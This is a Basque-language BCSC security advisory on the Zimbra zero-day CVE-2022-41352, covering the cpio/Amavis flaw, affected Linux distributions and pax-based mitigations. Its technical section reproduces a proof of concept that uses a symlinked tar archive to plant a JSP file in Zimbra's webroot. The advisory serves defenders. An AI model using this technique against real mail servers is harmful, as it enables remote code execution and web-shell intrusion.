Basque CyberSecurity Centre

Zero-day ahultasuna Zimbran

TLP: CLEAR

www.ciberseguridad.eus

EUSKO JAURLARITZA GOBIERNO VASCO

GRUPO spri TALDEA

AURKIBIDEA

Erantzukizunetik salbuesteari buruzko klausula

Honako dokumentu hau eskaintzen da erakundeen eta interesa duten herritarren segurtasunerako, BCSCk beharrezkotzat jotzen dituen alertak ezagutzera emateko. Inongo kasutan BCSC ezin da kontsideratu hemen zabaldutako informazioaren erabilpenak zuzenean nahiz zeharka, ustekabean nahiz modu berezian, eragin litzakeen balizko kalteen arduradun. Gauza bera esan beharra dago BCSCren webean edo hortik esteken bitartez joan litekeen kanpoko web orrialdeetan, sare sozialetan, software produktuetan edo alertan nahiz BCSCren webean agertutako beste edozein informaziotan aipa litezkeen teknologiei dagokienez. Edozein kasutan, alertaren edukiak eta mezu elektronikoen bidez eman litezkeen erantzunak hemen jasotako terminoetan emandako iritzi eta gomendioak dira eta jakinarazitako informaziotik ezin da ondorioztatu ondorio juridiko loteslerik.

Salmenta debekatzeari buruzko klausula

Guztiz debekatuta dago dokumentu hau saltzea edo beragatik edozein onura ekonomiko eskuratzea, baina posible da bera kopiatzea, banatzea, hedatzea edo ezagutzera ematea.

BCSC-ri buruz

Zibersegurtasun Euskal Zentroa (Basque Cybersecurity Centre, BCSC) da Eusko Jaurlaritzak izendatutako entitatea Euskadin zibersegurtasunaren gaian heldutasun maila igotzeko.

Zeharkako ekimena da, Enpresa Garapenerako Euskal Agentziaren (SPRI) barnean kokatua, Eusko Jaurlaritzako Ekonomiaren Garapen, Jasangarritasun eta Ingurumen Sailaren menpe dagoen sozietatea. Era berean, Eusko Jaurlaritzako beste hiru Sail ere bere parte dira: Segurtasuna, Gobernantza Publiko eta Autogobernua, eta Hezkuntza; bai eta Zientzia, Teknologia eta Berrikuntzako Euskal Sistemako lau eragile ere: Tecnalia, Vicomtech, Ikerlan eta BCAM.

BCSC erreferentziazko entitatea da zibersegurtasuna eta konfiantza digitala garatzeko Euskadiko herritar, enpresa eta instituzio publikoen artean, eta batez ere, eskualdeko ekonomiaren sektore estrategikoen kasuan.

Beraz, BCSCren eginkizuna da euskal gizartean zibersegurtasuna sustatzea eta garatzea, Euskadiko enpresa jarduera dinamizatzea, eta erreferentzia izango den sektore profesional bat sor dadin eragitea. Testuinguru horretan osagarriak diren eragileen arteko lankidetza proiektuak exekutatzea sustatzen du, berrikuntza teknologikoaren, ikerkuntzaren, eta fabrikazio aurreratuko industriarako eta beste sektore batzuetarako transferentzia teknologikoaren alorretan.

Era berean, hainbat zerbitzu eskaintzen ditu Gertakarien Aurreko Ekipo modura duen rolagatik (aurrerantzean CERT, ingeleseko izenaren siglak direla-eta “Computer Emergency Response Team”). Euskal Autonomia Erkidegoko esparruan mehatxu berriak antzemateko eta horiei buruzko alerta goiztiarrak emateko gaitasuna areagotzen dihardu lanean, informazioaren segurtasun gertakarien erantzunean eta analisian, eta euskal gizartearen beharrak artatzeko beharrezkoak diren prebentzio neurrien diseinuan. Helburu horiek lortzeko xedearekin, zibersegurtasun gertakariak kudeatzera zuzendutako hainbat ekimenetan hartzen du parte:

FIRST Improving Security Together
TF-CSIRT Trusted Introducer
CSIRT.es

1. Laburpen exekutiboa

2022ko irailean, Zimbrako administratzaileen foro batek Zimbra Collaboration Suite-ren (ZCS), web-bezero baten eta posta elektronikoko zerbitzari baten aurka egindako eraso batzuen xehetasunak argitaratu zituen. Ahultasun hori CVE-2022-41352 izenarekin identifikatzen da eta 9.8 kritikotasuna du, CVSSv3 eskalaren arabera, eta urruneko erasotzaile bati kode arbitrarioa (RCE) egiteko aukera ematen dio.

Oraingoz, akats hori modu aktiboan ustiatu dela irailetik, gutxienez badakigu eta ez dakigu zein diren gertakarien erantzule diren erasotzaileak. Horrekin batera, ukitutako sistemen administratzaileek alegatu dute sistema ahulen konpromisoak bete ziren unean behar bezala eguneraturik zeudela.

Era berean, konpainiak ez du partxe ofizialik bota, baina zero day-ren moduko ahultasun hori arintze alternatibo bat argitaratu du.

Bestalde, ikertzaileek berriki jakinarazi dute akatsa ustiatzeko erabilitako kontzeptu-proba bat (PoC). Exploita argitaratzearen ondorioz, eta administratzaileek gaur egun argitaraturiko irtenbideak ez aplikatzeko aukerarekin batera, ahultasun hori mehatxu larria da kaltetutako softwarea erabili ohi duten erakundeentzat.

Hori dela eta, ahultasun hori eta beste batzuk saihesteko, BCSCk gomendatzen du sistemak eta aplikazioak eguneraturik izatea azken bertsioan, dagozkion partxeak argitaratu bezain laster.

2. Azterketa teknikoa

Zero -day ahultasuna, CVE-2022-41352 kodeaz katalogatua, existitzen da, posta elektronikoko segurtasun-sistema batek Amavis *cpioa* modu ez-seguruan erabiltzen duelako sisteman *pax* paketea instalatuta ez badago fitxategiak ateratzeko. Amavisek fitxategi erantsi konprimatuen edukia ateratzen du birusak eskaneatzeko, eta *cpioa* segurtasunik gabe erabiltzen du. Urruneko erasotzaile batek bereziki diseinatutako fitxategi bat bidal dezake posta elektronikoko sistemara. Sistema hori erauzi ondoren, Zimbrako webroot batean artxibo arbitrarioak gainidatzi, Shell kodea instalatu eta erabiltzaileen kontu pribatuetara sar daiteke.

Azpimarratzekoa da kontzeptu-proba bat (PoC) argitaratu dela, ahultasun nabarmena ustiatzeko erabilitako xehetasun teknikoak erakusten dituena. Hona hemen azpimarratutako informazioa erakusten duen pantaila-argazkia:

```
$ sudo mkdir -p /opt/zimbra/jetty_base/webapps/zimbra/public
$ sudo chown ron.ron /opt/zimbra/jetty_base/webapps/zimbra/public
$ ln -s /opt/zimbra/jetty_base/webapps/zimbra/public ./akbdemo
$ echo '<% out.println("Hello world!"); %>' > akbdemo/akbtest.jsp
$ tar -cf akbdemo.tar akbdemo akbdemo/akbtest.jsp
$ tar -tvf akbdemo.tar
lrwxrwxrwx ron/ron          0 2022-10-06 09:25 akbdemo -> /opt/zimbra/jetty_base/webapps/zimbra/public
-rw-r--r-- ron/ron         35 2022-10-06 09:26 akbdemo/akbtest.jsp

[Email akbtest.tar to the target Zimbra server]

$ curl -k 'https://172.16.166.158/public/akbtest.jsp'
Hello world!
```

1. irudia. CVE-2022-41352-ren ahultasuna baliatzen duen PoC exploit-a

Zero day-ren hutsegitea aprobetxatzeko, bi baldintza bete behar dira batera. Lehenengoan, instalatutako *cpio*-bertsioak bertsio ahula izan behar du. Gainera, *pax* utilitateak ez du egon behar ukitua izan daitekeen sisteman instalatuta. Aipatzekoa da *pax* ez dela agertzen lehenespen gisa, eta sistema gehienak ustiapen-helburuak izan daitezkeela.

Amaitzeko, lehen deskribatutako ahultasunak kaltetutako baliabideak nabarmentzen dira:

- Oracle Linux 8 bertsioa.
- Red Hat Enterprise Linux 8 bertsioa.
- Rocky Linux 8 bertsioa.
- CentOS 8 bertsioa.

3. Arintzea / Konponbidea

Ohiko moduan, ahultasun hori eta beste batzuk saihesteko, BCSCk gomendatzen du sistemak eta aplikazioak beti eguneratuta izatea eskura dagoen azken bertsiora, dagozkion adabakiak argitaratu bezain laster.

Garrantzitsua da neurriak azkar hartzea, inplementazioan arazo hori partxea jartzeko edo arintzeko. Horregatik, ahultasunaren larritasuna kontuan hartuta, fabrikatzaileak argitaratutako ordezko arintzea aplikatzea gomendatzen da, eta, horrez gain, partxe ofiziala ezartzeko jarraibideak ematen dituzten abisuak proaktiboki kontsultatzea, oraingoz ez baita argitaratu.

Lehen aipatu dugun soluzioa aldatu egiten da erakunde bakoitzak erabilitako banaketaren arabera, baina guztiak *pax* utilitatearen instalazioan daude. Ondoren, arintze ezaguna eta haren bertsioa bereizten dira:

- Ubunturen kasuan, honako komando hau exekutatu behar da sistemaren terminalean: *apt install pax*.
- CentOS7 eta deribatuetan, honako komando hau exekutatu behar da sistemaren terminalean: *yum install pax*.
- CentOS8 eta deribatuetan, honako komando hau exekutatu behar da sistemaren terminalean: *dnf install spax*.

Instalazioa amaitzeko, Zimbra berrabiarazi behar da, honako komando hauek erabiliz:

- Lehenik eta behin, exekutatu behar da *sudo su zimbra*.
- Amaitzeko, exekutatu behar da *zmcontrol restart*.

4. Erreferentzia osagarriak

- Attacker managed to upload files into Web Client directory.
- Zimbra.
- NIST: CVE-2022-41352 Detail.
- CWE-94: Improper Control of Gemeration of Code ('Code Injection').
- AttackerKB: CVE-2022-41352.
- Amavisd-new.
- ¿Cómo usar el commando CPIO en Linux?
- pax(1) – página del manual de Linux.
- Hackers exploiting unpatched RCE bug in Zimbra Collaboration Suite.
- Hacker Exploiting Unpatched RCE Flaw in Zimbra Collaboration Suite.
- Exploitation of Unpatched Zero-Day Remote Code Execution Vulnerability in Zimbra Collaboration Suite (CVE-2022-41352).
- Security Update – make sure to install pax/spax.

Basque CyberSecurity Centre

Gertakarien jakinarazpena

Zibersegurtasun gertakariren bat aurkitu baduzu jakinaraz iezaguzu, horrela beharrezkoak diren neurriak hartuko ditugu zabal ez dadin.

900 104 891

arazoak@bcsc.eus

Zibersegurtasun katalogoa

Zure zibersegurtasunarekin edo zure enpresarenarekin laguntza behar duzu?

EUSKO JAURLARITZA GOBIERNO VASCO

GRUPO spri TALDEA